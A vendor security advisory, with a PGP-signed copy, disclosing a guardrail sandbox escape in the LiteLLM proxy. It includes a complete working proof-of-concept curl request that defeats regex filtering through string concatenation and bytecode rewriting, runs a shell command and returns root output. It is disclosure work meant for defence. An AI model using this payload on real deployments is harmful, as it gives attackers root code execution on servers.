X41 D-Sec GmbH Security Advisory: X41-2026-001

Guardrail Sandbox Escape in LiteLLM
======================

Severity Rating: High

Confirmed Affected Versions: main-latest (docker image ghcr.io/berriai/litellm:main-latest, repo digest ghcr.io/berriai/litellm@sha256:bb0639701796218a3447160e55c0f1097446e4e6085df7dfd39f476d4143743f)

Confirmed Patched Versions: N/A

Vendor: BerriAI

Vendor URL: https://github.com/BerriAI/litellm

Vendor Reference: N/A

Vector: Authenticated HTTP API request

Credit: X41 D-Sec GmbH, Markus Vervier

Status: Public

CVE: N/A

CWE: CWE-94 (Improper Control of Generation of Code / Code Injection)

CVSS Score: 8.7

CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Advisory URL: <https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm/>

Summary and Impact
==================

The LiteLLM proxy exposes a /guardrails/test_custom_code API endpoint that allows authenticated users to submit arbitrary Python code for guardrail testing. The endpoint attempts to restrict dangerous operations using regex-based source code filtering but this can be bypassed using bytecode rewriting techniques to achieve arbitrary code execution on the server.

An authenticated attacker can exploit this vulnerability to execute arbitrary commands as the user the LiteLLM process runs as (root in the default Docker image).

Product Description
===================

LiteLLM is an open-source LLM proxy that provides a unified OpenAI-compatible API for over 100 LLM providers. It supports features such as load balancing, cost tracking, rate limiting, and guardrails for input/output filtering. The guardrails feature allows administrators to define custom Python code that is executed to filter or transform LLM requests and responses.

Analysis
========

The /guardrails/test_custom_code endpoint accepts a JSON body containing a custom_code field with Python source code and a test_input field. The server executes the provided Python function in a restricted environment that uses regex-based filtering to block access to dangerous attributes and built-in functions. However, this filtering operates only on the source code level and can be bypassed through a combination of string concatenation and CPython bytecode manipulation techniques.

The bypass works in 6 steps:

Step 1 — Regex bypass via string concatenation: Blocked attribute names such as __globals__, __builtins__, and __import__ are constructed at runtime using string concatenation (e.g. "_"+"_gl"+"ob"+"als"+"_"+"_"). Since the regex filter matches literal strings in the source code, the concatenated form is not detected.

Step 2 — Obtain the object class: The object base class is obtained via str.mro()[1] instead of using __class__, which is blocked by the filter.

Step 3 — Access generator code object: A generator function is defined and its code object is accessed via the gi_code attribute, which is not blocked. The code.replace(co_names=...) method is then used to rewrite the bytecode's name table, changing which attributes the bytecode will access at runtime.

Step 4 — Swap function code: object.__setattr__() is used to replace the generator function's __code__ attribute with the rewritten code object. The __code__ attribute name is constructed dynamically to avoid the regex filter.

Step 5 — Extract real builtins: The modified generator function is called with http_get (a function available in the sandbox environment) as argument. The rewritten bytecode accesses http_get.__globals__["__builtins__"]["__import__"], extracting the real __import__ function from the unrestricted builtins.

Step 6 — Achieve RCE: With access to __import__, the attacker imports os and executes arbitrary commands: __import__("os").popen("id").read() returns uid=0(root) in the default Docker deployment.

Proof of Concept
================

The following sets up a vulnerable test environment:

    docker run -d --name litellm -p 4000:4000 -e LITELLM_MASTER_KEY=sk-litellm-master-key ghcr.io/berriai/litellm:main-latest


The following curl command triggers the sandbox escape and executes the id command on the server:

    curl -s -X POST \
      -H "Authorization: Bearer sk-litellm-master-key" \
      -H "Content-Type: application/json" \
      http://localhost:4000/guardrails/test_custom_code \
      -d '{
        "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
        "test_input": {"messages": [{"role": "user", "content": "test"}]}
      }'


The server responds with the output of the id command, confirming code execution as root:

    {"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}


Workarounds
===========

No vendor patch is available at the time of publication. Users could apply the following mitigations:

Timeline
========

2026-02-13 Issue identified, PoC created
2026-02-18 LiteLLM acknowledged, giving an initial ETA for fix: by the end of next week
2026-03-20 Follow-up sent for patch status and disclosure coordination
2026-03-24 Urgent follow-up sent, delivery failure received for technical contact's email
2026-03-25 Looped in distros mailing list and additional contacts at berry
2026-03-26 Berry acknowledged the report receipt again
2026-04-06 Berry acknowledged the report again and asked to submit via their GitHub security reporting page
2026-04-07 X41 and distros clarified the embargo runs out on 2026-04-08
2026-04-08 Distros maximum embargo expired, publication

About X41 D-Sec GmbH
====================

X41 is an expert provider for application security services.
Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables
X41 to perform premium security services.

Fields of expertise in the area of application security are security centered
code reviews, binary reverse engineering and vulnerability discovery.
Custom research and IT security consulting and support services are core
competencies of X41.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512


X41 D-Sec GmbH Security Advisory: X41-2026-001

Guardrail Sandbox Escape in LiteLLM
===================================

Severity Rating: High

Confirmed Affected Versions: main-latest (docker image 
ghcr.io/berriai/litellm:main-latest, repo digest 
ghcr.io/berriai/litellm@sha256:bb0639701796218a3447160e55c0f1097446e4e6085df7dfd39f476d4143743f)

Confirmed Patched Versions: N/A

Vendor: BerriAI

Vendor URL: <https://github.com/BerriAI/litellm>

Vendor Reference: N/A

Vector: Authenticated HTTP API request

Credit: X41 D-Sec GmbH, Markus Vervier

Status: Public

CVE: N/A 

CWE: CWE-94 (Improper Control of Generation of Code / Code Injection)

CVSS Score: 8.7

CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Advisory URL: <https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm/>

Summary and Impact
==================

The LiteLLM proxy exposes a /guardrails/test_custom_code API endpoint that 
allows authenticated users to submit arbitrary Python code for guardrail 
testing. The endpoint attempts to restrict dangerous operations using 
regex-based source code filtering but this can be bypassed using bytecode 
rewriting techniques to achieve arbitrary code execution on the server.

An authenticated attacker can exploit this vulnerability to execute arbitrary 
commands as the user the LiteLLM process runs as (root in the default Docker 
image). 

Product Description
===================

LiteLLM is an open-source LLM proxy that provides a unified OpenAI-compatible 
API for over 100 LLM providers. It supports features such as load balancing, 
cost tracking, rate limiting, and guardrails for input/output filtering. The 
guardrails feature allows administrators to define custom Python code that is 
executed to filter or transform LLM requests and responses.

Analysis
========

The /guardrails/test_custom_code endpoint accepts a JSON body containing a 
custom_code field with Python source code and a test_input field. The server 
executes the provided Python function in a restricted environment that uses 
regex-based filtering to block access to dangerous attributes and built-in 
functions. However, this filtering operates only on the source code level and 
can be bypassed through a combination of string concatenation and CPython 
bytecode manipulation techniques.

The bypass works in 6 steps:

Step 1 — Regex bypass via string concatenation: Blocked attribute names such as 
__globals__, __builtins__, and __import__ are constructed at runtime using 
string concatenation (e.g. "_"+"_gl"+"ob"+"als"+"_"+"_"). Since the regex 
filter matches literal strings in the source code, the concatenated form is not 
detected.

Step 2 — Obtain the object class: The object base class is obtained via 
str.mro()[1] instead of using __class__, which is blocked by the filter.

Step 3 — Access generator code object: A generator function is defined and its 
code object is accessed via the gi_code attribute, which is not blocked. The 
code.replace(co_names=...) method is then used to rewrite the bytecode's name 
table, changing which attributes the bytecode will access at runtime.

Step 4 — Swap function code: object.__setattr__() is used to replace the 
generator function's __code__ attribute with the rewritten code object. The 
__code__ attribute name is constructed dynamically to avoid the regex filter.

Step 5 — Extract real builtins: The modified generator function is called with 
http_get (a function available in the sandbox environment) as argument. The 
rewritten bytecode accesses http_get.__globals__["__builtins__"]["__import__"], 
extracting the real __import__ function from the unrestricted builtins.

Step 6 — Achieve RCE: With access to __import__, the attacker imports os and 
executes arbitrary commands: __import__("os").popen("id").read() returns 
uid=0(root) in the default Docker deployment.

Proof of Concept
================

The following sets up a vulnerable test environment:

    docker run -d --name litellm -p 4000:4000 -e 
LITELLM_MASTER_KEY=sk-litellm-master-key ghcr.io/berriai/litellm:main-latest


The following curl command triggers the sandbox escape and executes the id 
command on the server:

    curl -s -X POST \
      -H "Authorization: Bearer sk-litellm-master-key" \
      -H "Content-Type: application/json" \
      http://localhost:4000/guardrails/test_custom_code \
      -d '{
        "custom_code": "def apply_guardrail(inputs, request_data, 
input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield 
fn.placeholder\n    c = g(None).gi_code\n    gn = 
\"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = 
\"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, 
c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        
break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = 
gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": 
imp(\"os\").popen(\"id\").read()}",
        "test_input": {"messages": [{"role": "user", "content": "test"}]}
      }'


The server responds with the output of the id command, confirming code 
execution as root:

    {"success":true,"result":{"rce":"uid=0(root) gid=0(root) 
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}


Workarounds
===========

No vendor patch is available at the time of publication. Users could apply the 
following mitigations:

Timeline
========

2026-02-13 Issue identified, PoC created
2026-02-18 LiteLLM acknowledged, giving an initial ETA for fix: by the end of 
next week
2026-03-20 Follow-up sent for patch status and disclosure coordination
2026-03-24 Urgent follow-up sent, delivery failure received for technical 
contact's email
2026-03-25 Looped in distros mailing list and additional contacts at berry
2026-03-26 Berry acknowledged the report receipt again
2026-04-06 Berry acknowledged the report again and asked to submit via their 
GitHub security reporting page
2026-04-07 X41 and distros clarified the embargo runs out on 2026-04-08
2026-04-08 Distros maximum embargo expired, publication

About X41 D-Sec GmbH
====================

X41 is an expert provider for application security services.
Having extensive industry experience and expertise in the area of information
security, a strong core security team of world class security experts enables
X41 to perform premium security services.

Fields of expertise in the area of application security are security centered
code reviews, binary reverse engineering and vulnerability discovery.
Custom research and IT security consulting and support services are core
competencies of X41.
-----BEGIN PGP SIGNATURE-----

iQJLBAEBCgA1FiEEpwxVTgxAIcUvTugIo5Klpg50CxAFAmnW2xUXHGFkdmlzb3Jp
ZXNAeDQxLWRzZWMuZGUACgkQo5Klpg50CxAbhhAAmWdN0i8QHIBCuqI97eAZF6da
bYU9FQptTw4EAynqfP2ZXBp/PSyyGw7ghsoHI9ePKQqol+3++ASLee8opG/D2hdv
5M5lS+1wmivTmkdj+HTJG5u9pEbetENI1uU6lIZAWHR1wRYCbSlmGo0MyajF99lv
EPyEYcshGiPAjUJpJ6PRqNOeLMn2JyCT1Ml7jDwKlsvunxEvWbr8MVHI0ENqgBdl
RL3FILDnuFZts3pPH3zNvgDZUIlP9pfR7PBw0sYt7HRuvXwhCVZRPPvEXxPuJ/6A
3rkyp2qFX0EGW1Rdht5bD5mcjF8QoQsArbLM9hRms+gfPiGwMFu9r4iuIBQVHkph
GDK9RrfrS4k49AbpUqD/DUrYG40IIPYf9sOhwcifRlRXlx0XApfTwYPyIMlKJ2eW
2DGHB+w7On3j4pphwpJ3OnEIODkfp1OPetOlASeeaZLPdnQkB8j+yrira+in0t71
//0mQ+RM3pxpkJCNlvzmJ/moxiPSf4lRH/Q9W4wuOWjq632r9VzWv1yMKXBDCA3O
GzP27hR2NXSuYjIc13AHWSw6oeNtRdvkdvED6gq60q9Wt74XH1tSu7wcPOLwvt5/
cQSwys3tcqqtHKJD/GxqgjQfqWNB2/zX7qo/XgKIs7+4nD7OXpF0pnydg/FdPxNQ
dPMYxYvFN5nyLYnsYRI=
=dl4z
-----END PGP SIGNATURE-----

Attachment: OpenPGP_0x5C5642C317AD0166.asc
Description: OpenPGP public key

Attachment: OpenPGP_signature.asc
Description: OpenPGP digital signature

Reply via email to